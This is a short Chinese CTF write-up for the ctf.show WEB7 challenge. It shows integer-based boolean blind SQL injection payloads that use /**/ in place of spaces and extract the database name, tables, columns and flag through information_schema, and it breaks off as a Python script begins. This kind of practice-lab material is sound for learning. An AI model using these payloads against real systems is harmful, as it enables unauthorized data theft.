CTF show WEB7-8

题目网站https://ctf.show

web7

点开其中一篇文章,输入id=1||1存在全部文章内容，说明为整形注入

1.爆库名（web7）
当输入为id=-1/**/or/**/ascii(substr(database(),1,1))=119时出现文章内容，证明库名的第一个字符为‘w’,以此类推。

2.爆表名（flag,page,user）

id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102

3.爆字段（flag）
id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102

4.爆字段值
id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102

附：python脚本

import requests
url =